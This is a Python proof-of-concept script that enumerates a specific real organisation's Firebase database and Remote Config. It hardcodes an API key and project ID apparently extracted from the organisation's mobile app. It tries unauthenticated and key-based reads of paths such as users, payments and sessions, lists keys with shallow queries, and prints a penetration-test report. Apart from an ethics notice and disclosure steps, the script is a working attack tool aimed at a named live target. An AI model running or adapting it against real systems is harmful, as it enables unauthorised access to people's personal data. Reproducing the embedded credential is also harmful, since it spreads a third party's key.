#!/usr/bin/env python3
"""
POC: Firebase Database Enumeration - Canada Post App
====================================================

Tests if the exposed Firebase database URL allows unauthorized access.

EXTRACTED INFORMATION:
    Database URL: https://canada-post-2dce9.firebaseio.com
    Firebase API Key: AIzaSyDWtJr2knyZpJEOgBlJH_lBk-xqlnQJ27Q
    Project ID: 741680414261
    
ETHICAL USE ONLY - For authorized security testing
"""

import requests
import json
import sys
from datetime import datetime
from urllib.parse import urljoin

# Extracted from Firebase Remote Config and decompiled APK
FIREBASE_DATABASE_URL = "https://canada-post-2dce9.firebaseio.com"
FIREBASE_API_KEY = "AIzaSyDWtJr2knyZpJEOgBlJH_lBk-xqlnQJ27Q"
FIREBASE_PROJECT_ID = "741680414261"

# Common database paths to enumerate
COMMON_PATHS = [
    "",                          # Root
    "users",                     # User data
    "tracking",                  # Tracking information
    "shipments",                 # Shipment data
    "packages",                  # Package information
    "addresses",                 # Address book
    "notifications",             # Push notifications
    "settings",                  # User settings
    "sessions",                  # Session data
    "devices",                   # Device registrations
    "analytics",                 # Analytics data
    "feedback",                  # User feedback
    "messages",                  # Messages
    "chat",                      # Chat data
    "orders",                    # Order history
    "payments",                  # Payment information
    "profiles",                  # User profiles
    "preferences",               # User preferences
    "favorites",                 # Favorited items
    "history",                   # History/logs
    "cache",                     # Cached data
]

def print_banner():
    """Print test banner"""
    print("=" * 80)
    print("🔬 POC: FIREBASE DATABASE ENUMERATION TEST")
    print("=" * 80)
    print(f"Timestamp: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}")
    print(f"Database: {FIREBASE_DATABASE_URL}")
    print(f"API Key: {FIREBASE_API_KEY[:30]}...")
    print(f"Source: Canada Post Mobile App")
    print("=" * 80)
    print()

def test_database_read_public(path=""):
    """
    Test 1: Attempt to read database without authentication
    This tests if Firebase security rules are misconfigured
    """
    url = f"{FIREBASE_DATABASE_URL}/{path}.json" if path else f"{FIREBASE_DATABASE_URL}/.json"
    
    print(f"🔍 Testing: {path if path else 'ROOT'}")
    print(f"   URL: {url}")
    
    try:
        response = requests.get(url, timeout=10)
        
        if response.status_code == 200:
            data = response.json()
            
            if data is not None:
                print(f"   ✅ READABLE! Status: {response.status_code}")
                print(f"   📊 Data Type: {type(data).__name__}")
                
                if isinstance(data, dict):
                    print(f"   🔑 Keys: {list(data.keys())[:10]}")
                    print(f"   📏 Size: {len(data)} items")
                elif isinstance(data, list):
                    print(f"   📏 Size: {len(data)} items")
                else:
                    print(f"   📄 Value: {str(data)[:100]}")
                
                print(f"   💾 Sample Data:")
                print("   " + "-" * 70)
                print(json.dumps(data, indent=6)[:500])
                if len(json.dumps(data)) > 500:
                    print("   ... (truncated)")
                print("   " + "-" * 70)
                
                return True, data
            else:
                print(f"   ⚪ Empty/Null - Status: {response.status_code}")
                return False, None
                
        elif response.status_code == 401:
            print(f"   🔒 Protected (401 Unauthorized)")
            return False, None
            
        elif response.status_code == 404:
            print(f"   ❌ Not Found (404)")
            return False, None
            
        else:
            print(f"   ⚠️  Unexpected Status: {response.status_code}")
            print(f"   Response: {response.text[:200]}")
            return False, None
            
    except requests.exceptions.Timeout:
        print(f"   ⏱️  Timeout")
        return False, None
    except requests.exceptions.RequestException as e:
        print(f"   ❌ Error: {str(e)}")
        return False, None
    except Exception as e:
        print(f"   ❌ Unexpected Error: {str(e)}")
        return False, None

def test_database_read_with_auth(path=""):
    """
    Test 2: Attempt to read database WITH API key as auth
    Some Firebase configs allow API key-based access
    """
    url = f"{FIREBASE_DATABASE_URL}/{path}.json" if path else f"{FIREBASE_DATABASE_URL}/.json"
    
    params = {
        "auth": FIREBASE_API_KEY
    }
    
    print(f"🔍 Testing with API key auth: {path if path else 'ROOT'}")
    print(f"   URL: {url}?auth=...")
    
    try:
        response = requests.get(url, params=params, timeout=10)
        
        if response.status_code == 200:
            data = response.json()
            
            if data is not None:
                print(f"   ✅ READABLE WITH API KEY! Status: {response.status_code}")
                print(f"   ⚠️  Security Rule Misconfiguration Detected!")
                print(f"   📊 Data Type: {type(data).__name__}")
                
                if isinstance(data, dict):
                    print(f"   🔑 Keys: {list(data.keys())[:10]}")
                    print(f"   📏 Size: {len(data)} items")
                
                return True, data
            else:
                print(f"   ⚪ Empty/Null")
                return False, None
        else:
            print(f"   🔒 Protected (Status: {response.status_code})")
            return False, None
            
    except Exception as e:
        print(f"   ❌ Error: {str(e)}")
        return False, None

def test_database_shallow_query(path=""):
    """
    Test 3: Shallow query to enumerate keys without reading values
    This is often less restricted than full reads
    """
    url = f"{FIREBASE_DATABASE_URL}/{path}.json" if path else f"{FIREBASE_DATABASE_URL}/.json"
    
    params = {
        "shallow": "true"
    }
    
    print(f"🔍 Testing shallow query: {path if path else 'ROOT'}")
    print(f"   URL: {url}?shallow=true")
    
    try:
        response = requests.get(url, params=params, timeout=10)
        
        if response.status_code == 200:
            data = response.json()
            
            if data is not None:
                print(f"   ✅ ENUMERABLE! Status: {response.status_code}")
                
                if isinstance(data, dict):
                    print(f"   🔑 Discovered Keys: {list(data.keys())[:20]}")
                    print(f"   📏 Total Keys: {len(data)}")
                    print(f"   ⚠️  Allows structure enumeration!")
                
                return True, list(data.keys()) if isinstance(data, dict) else data
            else:
                print(f"   ⚪ Empty/Null")
                return False, None
        else:
            print(f"   🔒 Protected (Status: {response.status_code})")
            return False, None
            
    except Exception as e:
        print(f"   ❌ Error: {str(e)}")
        return False, None

def test_firebase_remote_config():
    """
    Test 4: Access Firebase Remote Config
    This is often publicly accessible and contains sensitive configuration
    """
    print("\n")
    print("[TEST] Firebase Remote Config Access")
    print("-" * 80)
    
    url = f"https://firebaseremoteconfig.googleapis.com/v1/projects/{FIREBASE_PROJECT_ID}/namespaces/firebase:fetch"
    
    params = {
        "key": FIREBASE_API_KEY
    }
    
    headers = {
        "Content-Type": "application/json"
    }
    
    # Minimal request body for fetch
    body = {
        "appInstanceId": "test-instance-id",
        "appInstanceIdToken": "test-token",
        "appId": "1:741680414261:android:test",
        "countryCode": "CA",
        "languageCode": "en",
        "platformVersion": "33",
        "timeZone": "America/Toronto"
    }
    
    print(f"🔗 URL: {url}")
    print(f"🔑 API Key: {FIREBASE_API_KEY[:30]}...")
    print()
    
    try:
        print("⏳ Sending request...")
        response = requests.post(url, params=params, headers=headers, json=body, timeout=10)
        
        print(f"📊 Response Status: {response.status_code}")
        print()
        
        if response.status_code == 200:
            data = response.json()
            
            print("✅ REMOTE CONFIG ACCESSIBLE!")
            print()
            print("📦 Configuration Data:")
            print("=" * 80)
            print(json.dumps(data, indent=2))
            print("=" * 80)
            print()
            
            if "entries" in data:
                entries = data["entries"]
                print("🔍 Sensitive Configuration Found:")
                
                sensitive_keys = [
                    "APP_CHECK_FAILED_ID",
                    "APP_CHECK_FAILED_KEY",
                    "API_KEY",
                    "SECRET",
                    "PASSWORD",
                    "TOKEN",
                    "CREDENTIAL"
                ]
                
                for key, value in entries.items():
                    is_sensitive = any(s in key.upper() for s in sensitive_keys)
                    if is_sensitive:
                        print(f"   🚨 {key}: {value}")
                    else:
                        print(f"   ℹ️  {key}: {str(value)[:80]}{'...' if len(str(value)) > 80 else ''}")
                
                print()
                print("⚠️  SECURITY IMPACT:")
                print("   • Remote Config is publicly accessible")
                print("   • Contains fallback authentication credentials")
                print("   • Reveals feature flags and business logic")
                print("   • Can be used to bypass security controls")
            
            return True, data
        else:
            print(f"❌ Access Denied - Status: {response.status_code}")
            print(f"Response: {response.text}")
            return False, None
            
    except Exception as e:
        print(f"❌ Error: {str(e)}")
        return False, None

def enumerate_database():
    """
    Main enumeration function
    Tests multiple paths and methods
    """
    print("\n")
    print("=" * 80)
    print("🔍 STARTING DATABASE ENUMERATION")
    print("=" * 80)
    print()
    
    results = {
        "accessible_paths": [],
        "enumerable_keys": [],
        "requires_auth": True,
        "api_key_works": False,
        "shallow_works": False
    }
    
    # Test 1: Root access without auth
    print("[Phase 1] Testing Root Access (No Auth)")
    print("-" * 80)
    success, data = test_database_read_public("")
    if success:
        results["accessible_paths"].append(("ROOT", data))
        results["requires_auth"] = False
    print()
    
    # Test 2: Root access with API key
    print("[Phase 2] Testing Root Access (With API Key)")
    print("-" * 80)
    success, data = test_database_read_with_auth("")
    if success:
        results["accessible_paths"].append(("ROOT_AUTH", data))
        results["api_key_works"] = True
    print()
    
    # Test 3: Shallow query
    print("[Phase 3] Testing Shallow Query")
    print("-" * 80)
    success, keys = test_database_shallow_query("")
    if success:
        results["enumerable_keys"] = keys
        results["shallow_works"] = True
    print()
    
    # Test 4: Common paths
    print("[Phase 4] Testing Common Paths")
    print("-" * 80)
    for path in COMMON_PATHS[:10]:  # Test first 10 to avoid rate limits
        if path:  # Skip empty root (already tested)
            success, data = test_database_read_public(path)
            if success:
                results["accessible_paths"].append((path, data))
        print()
    
    return results

def generate_report(results, remote_config_data):
    """Generate comprehensive test report"""
    print("\n")
    print("=" * 80)
    print("📋 PENETRATION TEST REPORT")
    print("=" * 80)
    print(f"Timestamp: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}")
    print(f"Target: {FIREBASE_DATABASE_URL}")
    print()
    
    print("=" * 80)
    print("FINDINGS")
    print("=" * 80)
    print()
    
    # Finding 1: Remote Config
    print("[FINDING 1] Firebase Remote Config Exposure")
    print("-" * 80)
    if remote_config_data:
        print("Status: ✅ VULNERABLE")
        print("Severity: HIGH")
        print("CWE: CWE-200 (Exposure of Sensitive Information)")
        print()
        print("Description:")
        print("   Firebase Remote Config is publicly accessible without authentication.")
        print("   Contains sensitive fallback credentials and configuration data.")
        print()
        print("Evidence:")
        if "entries" in remote_config_data:
            print(f"   • Retrieved {len(remote_config_data['entries'])} configuration keys")
            print(f"   • Includes APP_CHECK_FAILED_ID and APP_CHECK_FAILED_KEY")
        print()
        print("Impact:")
        print("   • Authentication bypass using fallback credentials")
        print("   • Feature flag enumeration")
        print("   • Business logic disclosure")
        print("   • Attack surface mapping")
    else:
        print("Status: ⚪ Not Vulnerable")
    
    print()
    print()
    
    # Finding 2: Database Access
    print("[FINDING 2] Firebase Realtime Database Security")
    print("-" * 80)
    
    if len(results["accessible_paths"]) > 0:
        print("Status: 🔴 CRITICAL - UNAUTHORIZED ACCESS DETECTED")
        print("Severity: CRITICAL")
        print("CWE: CWE-639 (Authorization Bypass Through User-Controlled Key)")
        print()
        print("Description:")
        print("   Firebase Realtime Database security rules allow unauthorized access.")
        print()
        print("Evidence:")
        print(f"   • {len(results['accessible_paths'])} paths accessible without authentication")
        for path, _ in results["accessible_paths"][:5]:
            print(f"   • Accessed: /{path}")
        print()
        print("Impact:")
        print("   • Unauthorized data access")
        print("   • User privacy violation")
        print("   • Potential data exfiltration")
        print("   • GDPR/privacy compliance issues")
    else:
        print("Status: ✅ Secure")
        print("   Database requires authentication (good)")
        print("   No unauthorized access detected")
    
    print()
    print()
    
    # Finding 3: Structure Enumeration
    print("[FINDING 3] Database Structure Enumeration")
    print("-" * 80)
    
    if results["shallow_works"]:
        print("Status: ⚠️  VULNERABLE")
        print("Severity: MEDIUM")
        print("CWE: CWE-200 (Exposure of Sensitive Information)")
        print()
        print("Description:")
        print("   Shallow queries allow enumeration of database structure.")
        print()
        print("Evidence:")
        print(f"   • Enumerated {len(results['enumerable_keys'])} top-level keys")
        print(f"   • Keys: {results['enumerable_keys'][:10]}")
        print()
        print("Impact:")
        print("   • Attack surface mapping")
        print("   • Database structure disclosure")
        print("   • Targeted attack planning")
    else:
        print("Status: ✅ Protected")
        print("   Structure enumeration not possible")
    
    print()
    print()
    
    # Overall Assessment
    print("=" * 80)
    print("OVERALL ASSESSMENT")
    print("=" * 80)
    print()
    
    critical_count = 1 if len(results["accessible_paths"]) > 0 else 0
    high_count = 1 if remote_config_data else 0
    medium_count = 1 if results["shallow_works"] else 0
    
    print(f"Critical Findings: {critical_count}")
    print(f"High Findings: {high_count}")
    print(f"Medium Findings: {medium_count}")
    print()
    
    if critical_count > 0:
        print("🔴 OVERALL SEVERITY: CRITICAL")
        print()
        print("Immediate Action Required:")
        print("   1. Review and fix Firebase security rules")
        print("   2. Restrict database read/write permissions")
        print("   3. Move sensitive config server-side")
        print("   4. Audit for data breaches")
    elif high_count > 0:
        print("🟠 OVERALL SEVERITY: HIGH")
        print()
        print("Action Required:")
        print("   1. Restrict Firebase Remote Config access")
        print("   2. Remove fallback credentials from config")
        print("   3. Implement server-side authentication")
    else:
        print("✅ OVERALL SEVERITY: LOW")
        print()
        print("Firebase security appears properly configured.")
        print("No critical vulnerabilities detected.")
    
    print()
    print("=" * 80)

def main():
    """Main test execution"""
    print_banner()
    
    print("⚠️  ETHICAL TESTING NOTICE")
    print("   This POC is for authorized security testing only.")
    print("   Ensure you have proper authorization before testing.")
    print("   Testing Firebase databases without permission is illegal.")
    print()
    
    input("Press ENTER to continue with testing (Ctrl+C to abort)...")
    print()
    
    # Test Remote Config first (most likely to work)
    remote_config_success, remote_config_data = test_firebase_remote_config()
    
    # Then enumerate database
    results = enumerate_database()
    
    # Generate comprehensive report
    generate_report(results, remote_config_data if remote_config_success else None)
    
    print("\n✅ Testing complete!")
    print()
    print("📝 NEXT STEPS:")
    print("   1. Document all findings with evidence")
    print("   2. Calculate severity scores (CVSS)")
    print("   3. Prepare remediation recommendations")
    print("   4. Contact Canada Post security team")
    print("   5. Follow responsible disclosure process")
    print()

if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        print("\n\n❌ Testing interrupted by user")
        sys.exit(1)
    except Exception as e:
        print(f"\n\n❌ Fatal error: {str(e)}")
        import traceback
        traceback.print_exc()
        sys.exit(1)
